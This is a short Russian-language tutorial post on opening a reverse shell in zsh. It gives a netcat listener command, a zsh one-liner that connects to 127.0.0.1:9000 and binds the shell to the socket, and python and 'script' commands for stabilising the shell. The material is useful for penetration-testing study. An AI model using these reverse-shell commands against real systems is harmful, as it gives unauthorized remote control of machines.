Обратный shell в zsh

Reverse shell-ить будем сами себя. Включаем прослушивание порта через nc и rlwrap, он немного стабилизирует shell.

rlwrap -cAr nc -lvnp 9000

Подключаемся:

zsh -c 'zmodload zsh/net/tcp && ztcp 127.0.0.1 9000 && zsh >&$REPLY 2>&$REPLY 0>&$REPLY'

Получить более стабильный shell, как если бы это был ssh, можно с помощью python:

python3 -c 'import pty; pty.spawn("/bin/bash")'

Или же через bash:

script /dev/null -c bash

Способов множество, удобный онлайн генератор можно найти тут.

#reverse_shell